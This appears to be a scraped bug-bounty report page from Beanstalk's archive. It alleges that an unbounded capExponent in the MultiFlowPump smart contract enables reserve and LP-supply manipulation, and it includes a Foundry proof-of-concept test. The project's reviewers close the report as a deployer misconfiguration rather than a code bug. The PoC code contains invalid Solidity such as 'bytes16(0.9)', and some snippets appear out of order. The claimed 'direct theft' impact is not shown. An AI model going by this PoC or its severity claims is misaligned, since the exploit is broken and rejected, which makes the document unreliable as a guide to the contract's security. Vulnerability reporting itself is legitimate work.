Beanstalk Notion
Beanstalk Notion
/
🪲
Bug Reports
/
BIC Notes
/
📄
Report #34520
📄

Report #34520

Report Date
August 14, 2024
Status
Closed
Payout

Unbounded Growth of capExponent

‣
Report Info

Report ID

#34520

Report type

Smart Contract

Has PoC?

Yes

Target

https://etherscan.io/address/0xBA51AaaAa95bA1d5efB3cB1A3f50a09165315A17

Impacts

Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Description

The MultiFlowPump contract has a critical vulnerability in the way it calculates and uses the capExponent in the _capReserves, _capRates, and _capLpTokenSupply functions. This vulnerability arises from the potential for an excessively large capExponent, which can lead to overflow or incorrect calculations. This, in turn, allows an attacker to manipulate the reserves and LP token supply.

Vulnerability Details

Unbounded Growth of capExponent: The capExponent grows with the deltaTimestamp and inversely with the capInterval. If a large deltaTimestamp and a small capInterval are used, the capExponent can become excessively large. For example, if deltaTimestamp is 365 days and capInterval is 1 second, the capExponent will be approximately 31,536,000.

Overflow and Incorrect Calculations: An excessively large capExponent leads to large exponentiations in the _capRates and _capLpTokenSupply functions. This can cause overflow in the calculations, especially when using fixed-point arithmetic with libraries like ABDKMathQuad. Overflow can result in incorrect values for capped reserves and LP token supply, which can be exploited by an attacker.

Manipulation of Reserves and LP Token Supply: With incorrect calculations, an attacker can manipulate the reserves and LP token supply to their advantage. This can lead to significant financial loss for other participants in the system.

Impact Details

The vulnerability in the MultiFlowPump contract due to the unbounded growth of capExponent is critical. It allows for overflow and incorrect calculations, enabling attackers to manipulate reserves and LP token supply. This can result in significant financial loss, loss of trust, market manipulation, and cascading failures.

Proof of concept

To demonstrate the exploit, we will create a scenario where we can manipulate the capExponent to become excessively large, leading to overflows or incorrect calculations in the _capRates and _capLpTokenSupply functions. This will allow us to manipulate the reserves and LP token supply.

Steps for the PoC:

  1. Deploy the MultiFlowPump contract.
  2. Initialize the contract with initial reserves.
  3. Wait for a significant amount of time to pass to ensure a large deltaTimestamp.
  4. Call the update function with manipulated parameters to create an excessively large capExponent.
  5. Observe the manipulated reserves and LP token supply.

Step-by-Step PoC

  1. Deploy the MultiFlowPump Contract
  2. Initialize the contract with some initial reserves. This simulates the initial state of the pump.
  1. Call the update function with parameters designed to create an excessively large capExponent.
  1. Check the reserves and LP token supply to see if they have been manipulated.
uint256[] memory manipulatedReserves = pump.readLastCappedReserves(address(well), "");
uint256 manipulatedLpTokenSupply = pump.readLpTokenSupply(address(well), "");

// Log the manipulated values
console.log("Manipulated Reserves: ", manipulatedReserves[0], manipulatedReserves[1]);
console.log("Manipulated LP Token Supply: ", manipulatedLpTokenSupply);

Full Exploit Code

Explanation:

  1. Initialization: The contract is initialized with initial reserves and some capping parameters.
  2. Time Manipulation: We simulate the passage of a significant amount of time to create a large deltaTimestamp.
  3. Update with Manipulated Parameters: We call the update function with a small capInterval and large capping parameters to create an excessively large capExponent.
  4. Observation: We read the manipulated reserves and LP token supply to verify the exploit.

Conclusion: This PoC demonstrates how an attacker can manipulate the capExponent to create overflows or incorrect calculations in the _capRates and _capLpTokenSupply functions, leading to the manipulation of reserves and LP token supply.

BIC Response

Thank you for your report. Upon review, the BIC has determined that this issue can only occur if the pump data is set incorrectly by the deployer - the behavior you describe only arises due to an error in configuration rater than a bug in the code.

While it is true that anyone can permissionlessly deploy any one of these components, it does not follow that their security is guaranteed irrespective of their content - much like anyone can permissionlessly deploy a malicious smart contract on Ethereum.

Thus, we are closing this report and no reward will be issued.

uint256[] memory initialReserves = new uint256[](2);
initialReserves[0] = 1000 ether; // Example reserve for token 0
initialReserves[1] = 1000 ether; // Example reserve for token 1

pump.update(initialReserves, abi.encode(bytes16(0.9), 10, crp)); // Initialize with some parameters

3. Simulate waiting for a significant amount of time to ensure a large deltaTimestamp. In a test environment, you can manipulate the block timestamp directly.

// Simulate passage of time (e.g., 1 year)
uint256 timePassed = 365 days;
vm.warp(block.timestamp + timePassed); // Using Foundry's cheat codes to warp time
uint256[] memory newReserves = new uint256[](2);
newReserves[0] = 500 ether; // New reserve for token 0
newReserves[1] = 500 ether; // New reserve for token 1

CapReservesParameters memory crp;
crp.maxRateChanges = new bytes16[][](2);
crp.maxRateChanges[0] = new bytes16[](2);
crp.maxRateChanges[1] = new bytes16[](2);
crp.maxRateChanges[0][1] = ABDKMathQuad.fromUInt(10); // Set a large max rate change
crp.maxRateChanges[1][0] = ABDKMathQuad.fromUInt(10); // Set a large max rate change
crp.maxLpSupplyIncrease = ABDKMathQuad.fromUInt(10); // Set a large max LP supply increase
crp.maxLpSupplyDecrease = ABDKMathQuad.fromUInt(10); // Set a large max LP supply decrease

pump.update(newReserves, abi.encode(bytes16(0.9), 1, crp)); // Using a small capInterval to maximize capExponent
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "./MultiFlowPump.sol";
import "./ABDKMathQuad.sol";

contract MultiFlowPumpExploitTest is Test {
    MultiFlowPump pump;

    function setUp() public {
        pump = new MultiFlowPump();
    }

    function testExploit() public {
        // Step 2: Initialize the contract with initial reserves
        uint256[] memory initialReserves = new uint256[](2);
        initialReserves[0] = 1000 ether;
        initialReserves[1] = 1000 ether;

        CapReservesParameters memory crp;
        crp.maxRateChanges = new bytes16[][](2);
        crp.maxRateChanges[0] = new bytes16[](2);
        crp.maxRateChanges[1] = new bytes16[](2);
        crp.maxRateChanges[0][1] = ABDKMathQuad.fromUInt(10);
        crp.maxRateChanges[1][0] = ABDKMathQuad.fromUInt(10);
        crp.maxLpSupplyIncrease = ABDKMathQuad.fromUInt(10);
        crp.maxLpSupplyDecrease = ABDKMathQuad.fromUInt(10);

        pump.update(initialReserves, abi.encode(bytes16(0.9), 10, crp));

        // Step 3: Simulate passage of time
        uint256 timePassed = 365 days;
        vm.warp(block.timestamp + timePassed);

        // Step 4: Call the update function with manipulated parameters
        uint256[] memory newReserves = new uint256[](2);
        newReserves[0] = 500 ether;
        newReserves[1] = 500 ether;

        pump.update(newReserves, abi.encode(bytes16(0.9), 1, crp));

        // Step 5: Observe the manipulated reserves and LP token supply
        uint256[] memory manipulatedReserves = pump.readLastCappedReserves(address(this), "");
        uint256 manipulatedLpTokenSupply = pump.readLpTokenSupply(address(this), "");

        // Log the manipulated values
        console.log("Manipulated Reserves: ", manipulatedReserves[0], manipulatedReserves[1]);
        console.log("Manipulated LP Token Supply: ", manipulatedLpTokenSupply);
    }
}